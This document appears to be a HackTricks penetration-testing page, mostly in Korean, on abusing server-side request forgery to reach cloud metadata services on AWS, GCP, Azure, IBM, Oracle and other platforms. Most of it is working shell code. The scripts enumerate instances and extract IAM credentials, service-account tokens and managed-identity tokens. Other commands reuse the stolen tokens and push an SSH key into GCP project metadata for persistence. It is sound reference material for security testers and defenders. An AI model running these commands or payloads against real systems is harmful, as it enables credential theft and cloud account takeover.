Cloud SSRF

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

AWS

AWS EC2 환경에서 SSRF 악용하기

metadata endpoint는 모든 EC2 machine 내부에서 접근할 수 있으며, 그에 관한 흥미로운 정보를 제공합니다. URL은 http://169.254.169.254 입니다 (metadata에 대한 정보는 여기).

metadata endpoint에는 2개의 버전이 있습니다. 첫 번째 버전은 GET requests로 endpoint에 접근할 수 있게 해줍니다(즉, 어떤 SSRF도 이를 악용할 수 있습니다). 두 번째 버전인 IMDSv2에서는, HTTP header를 사용한 PUT request로 token을 요청한 뒤, 그 token을 다른 HTTP header와 함께 사용해 metadata에 접근해야 합니다(따라서 SSRF로 악용하기가 더 복잡합니다).

Caution

EC2 instance가 IMDSv2를 강제하고 있다면, 문서에 따르면, PUT request의 responsehop limit 1을 가지므로, EC2 instance 내부의 container에서 EC2 metadata에 접근하는 것이 불가능합니다.

또한, IMDSv2X-Forwarded-For header를 포함한 token fetch requests도 차단합니다. 이는 잘못 설정된 reverse proxies가 이를 접근하는 것을 막기 위함입니다.

문서의 metadata endpoints에서 정보를 찾을 수 있습니다. 다음 script에서는 그로부터 몇 가지 흥미로운 정보가 얻어집니다:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

공개적으로 사용 가능한 IAM credentials 노출 예시로 다음을 방문할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

또한 다음에서 공개 EC2 security credentials도 확인할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

그런 다음 그 credentials를 가져와 AWS CLI와 함께 사용할 수 있습니다. 이렇게 하면 해당 role이 권한을 가진 모든 작업을 수행할 수 있습니다.

새 credentials를 활용하려면, 다음과 같은 새 AWS profile을 만들어야 합니다:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_token에 주목하세요. 이 값은 profile이 작동하는 데 필수적입니다.

PACU를 발견된 credentials와 함께 사용하면 권한을 확인하고 privilege escalation을 시도할 수 있습니다.

SSRF in AWS ECS (Container Service) credentials

ECS는 EC2 instances의 논리적 그룹으로, 자체 cluster management infrastructure를 확장할 필요 없이 application을 실행할 수 있게 해줍니다. ECS가 이를 대신 관리해주기 때문입니다. ECS에서 실행 중인 service를 compromise하면, metadata endpoints change.

_http://169.254.170.2/v2/credentials/<GUID>_에 access하면 ECS machine의 credentials를 찾을 수 있습니다. 하지만 먼저 **<GUID>**를 찾아야 합니다. **<GUID>**를 찾으려면 machine 내부의 environ 변수 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI를 읽어야 합니다.
file:///proc/self/environ에 대한 Path Traversal을 악용해 읽을 수 있을지도 모릅니다.
언급된 http address는 AccessKey, SecretKey and token을 제공해야 합니다.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

일부 경우에는 컨테이너에서 EC2 metadata instance에 접근할 수 있습니다(앞서 언급한 IMDSv2 TTL 제한을 확인하세요). 이런 시나리오에서는 컨테이너에서 container IAM role과 EC2 IAM role 둘 다에 접근할 수 있습니다.

AWS EKS Pod Identity credentials에서의 SSRF

최근 EKS clusters는 기존의 ECS-style relative URI flow 대신 Pod Identity를 사용할 수 있습니다. 이러한 pods에서 EKS는 다음을 주입합니다:

  • AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
  • AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

따라서 env vars 또는 projected service account token file을 읽을 수 있는 SSRF/LFI는, 해당 파일의 authorization token으로 local credential endpoint를 조회해 pod IAM credentials를 복구할 수 있는 경우가 많습니다:

# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/

# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"

This is especially useful in EKS webhooks, templating services, or URL fetchers that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as Pacu.

SSRF for AWS Lambda

In this case the credentials are stored in env variables. So, to access them you need to access something like file:///proc/self/environ.

The name of the interesting env variables are:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCESS_KEY_ID

Moreover, in addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface and could contain sensitive information (like inside the stageVariables). Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.

Warning

Note that lambda credentials are inside the env variables. So if the stack trace of the lambda code prints env vars, it’s possible to exfiltrate them provoking an error in the app.

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

그런 다음 API에서 AccessKeyId, SecretAccessKey, 및 Token을 가져옵니다.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

그런 다음 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/와 함께 credentials를 사용합니다.

GCP

metadata endpoints에 대한 docs는 여기에서 찾을 수 있습니다.

Google Cloud용 SSRF URL

HTTP header **Metadata-Flavor: Google**가 필요하며, 다음 URLs로 metadata endpoint에 접근할 수 있습니다:

정보를 추출하는 데 유용한 endpoints:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta는 현재 header를 요구하지 않습니다 (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

exfiltrated service account token을 사용하려면 다음을 하면 됩니다:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Add an SSH key

토큰 추출

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

토큰의 scope를 확인하세요(이전 출력 또는 다음을 실행하여)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

이제 SSH key를 push하세요.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

metadata endpoint는 VM에서와 동일하게 작동하지만, 일부 endpoints는 없습니다:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Cloud Run / Cloud Functions 2nd gen

Cloud Run2nd generation Cloud Functions에서는 보통 OAuth access token뿐만 아니라 metadata server에서 audience-bound identity token도 훔치는 것이 더 유용합니다. 이는 compromised workload가 private Cloud Run services, IAP-protected backends, 또는 Google-issued ID tokens를 검증하는 어떤 서비스에 도달할 수 있을 때 유용합니다.

# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"

Tip

identity endpoint는 audience 파라미터를 요구합니다. 실제 engagement에서는 보통 token에 대해 SSRF를 증명한 뒤, internal service URL을 열거하고 target service가 기대하는 정확한 audience로 두 번째 token을 요청해야 함을 의미합니다.

Digital Ocean

Warning

AWS Roles나 GCP service account 같은 것은 없으므로, metadata bot credentials를 찾을 수 있을 거라고 기대하지 마세요

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

  • Must Metadata: true 헤더를 포함해야 함
  • X-Forwarded-For 헤더를 포함하면 안 됨

Tip

Azure VM에는 시스템 관리 identity 1개와 여러 user managed identity가 연결될 수 있음. 즉, VM에 연결된 모든 managed identity를 impersonate할 수 있다는 뜻임.

metadata endpoint에 access token을 요청할 때, 기본적으로 metadata service는 시스템 할당 managed identity가 있으면 그것을 사용해 token을 생성함. 시스템 할당 managed identity가 없고 user assigned managed identity가 딱 1개뿐이라면, 그 identity가 기본으로 사용됨. 하지만 시스템 할당 managed identity가 없고 여러 user assigned managed identities가 있는 경우에는, metadata service가 여러 managed identities가 있다고 알리는 error를 반환하며 어느 것을 사용할지 지정해야 함.

아쉽게도 VM에 연결된 모든 MI를 알려주는 metadata endpoint는 찾지 못했으므로, VM에 할당된 모든 managed identities를 알아내는 것은 Red Team 관점에서 어려운 작업일 수 있음.

따라서 연결된 모든 MI를 찾으려면 다음을 수행할 수 있음:

  • az cli로 attached identities 가져오기 (이미 Azure tenant에서 Microsoft.Compute/virtualMachines/read permission이 있는 principal을 compromise한 경우)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • metadata의 기본 attached MI를 사용해 attached identities 가져오기:
export API_VERSION="2021-12-13"

# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • tenant에 정의된 모든 managed identities를 가져온 뒤 brute force로 그중 VM에 연결된 것이 있는지 확인하기 (Microsoft.ManagedIdentity/userAssignedIdentities/read permission 필요):
az identity list

Caution

token 요청에서 사용하고 싶은 managed identity를 지정하려면 object_id, client_id 또는 msi_res_id 파라미터 중 하나를 사용함 (docs). 아무것도 지정하지 않으면 default MI가 사용됨.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Warning

http://169.254.169.254/metadata/v1/instanceinfo 엔드포인트는 Metadata: True 헤더를 요구하지 않습니다. 이는 해당 헤더를 추가할 수 없는 Azure의 SSRF vulnerabilities에서 impact를 보여주기에 아주 좋습니다.

Azure App & Functions Services & Automation Accounts

env에서 **IDENTITY_HEADER**와 IDENTITY_ENDPOINT 값을 얻을 수 있습니다. 이를 사용해 metadata server와 통신할 token을 가져올 수 있습니다.

대부분의 경우, 다음 resources 중 하나에 대한 token이 필요합니다:

Caution

token requests에서는 사용하려는 managed identity를 지정하기 위해 object_id, client_id 또는 msi_res_id 매개변수 중 아무거나 사용하세요 (docs). 아무것도 지정하지 않으면 default MI가 사용됩니다.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

Warning

IBM에서는 기본적으로 metadata가 활성화되어 있지 않으므로, IBM cloud VM 내부에 있더라도 접근할 수 없을 수 있습니다.

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

다양한 platform의 metadata service에 대한 documentation은 아래에 설명되어 있으며, instance의 configuration 및 runtime information에 접근하는 방법을 강조합니다. 각 platform은 metadata service에 접근하기 위한 고유한 endpoint를 제공합니다.

Packetcloud

Packetcloud의 metadata에 접근하려면, documentation은 여기에서 확인할 수 있습니다: https://metadata.packet.net/userdata

OpenStack/RackSpace

header의 필요 여부는 언급되지 않습니다. Metadata는 다음을 통해 접근할 수 있습니다:

  • http://169.254.169.254/openstack

HP Helion

여기에서도 header의 필요 여부는 언급되지 않습니다. Metadata는 다음에서 접근할 수 있습니다:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud Infrastructure는 IMDSv2 mode를 제공하며, 이는 기존 /latest/ example보다 오늘날 훨씬 더 관련성이 큽니다. IMDSv2에서는:

  • Request는 http://169.254.169.254/opc/v2/로 전송됩니다
  • Request에는 Authorization: Bearer Oracle header가 포함되어야 합니다
  • Forwarded, X-Forwarded-For, 또는 X-Forwarded-Host를 포함한 Request는 거부됩니다
  • instance가 IMDSv2만 허용하도록 설정된 경우, 기존 /opc/v1/openstack path는 404를 반환합니다

Interesting endpoints:

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/

그래서 SSRF 관점에서 보면, OCI는 이제 mandatory header를 요구하고 일반적인 forwarded-header proxy patterns를 명시적으로 거부하는 강화된 cloud metadata services와 훨씬 더 비슷하게 동작합니다.

Alibaba

Alibaba는 instance 및 image IDs를 포함한 metadata 접근용 endpoint를 제공합니다:

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD는 API keys, internal IP addresses, ports를 보관할 수 있습니다. 접근 예시는 다음과 같습니다:

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker metadata는 로컬에서 접근할 수 있으며, container 및 image information retrieval 예시는 다음과 같습니다:

  • Docker socket을 통해 containers 및 images metadata에 접근하는 간단한 예:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • container 내부에서 Docker socket과 함께 curl 사용:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher의 metadata는 다음을 사용해 접근할 수 있습니다:

  • curl http://rancher-metadata/<version>/<path>

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기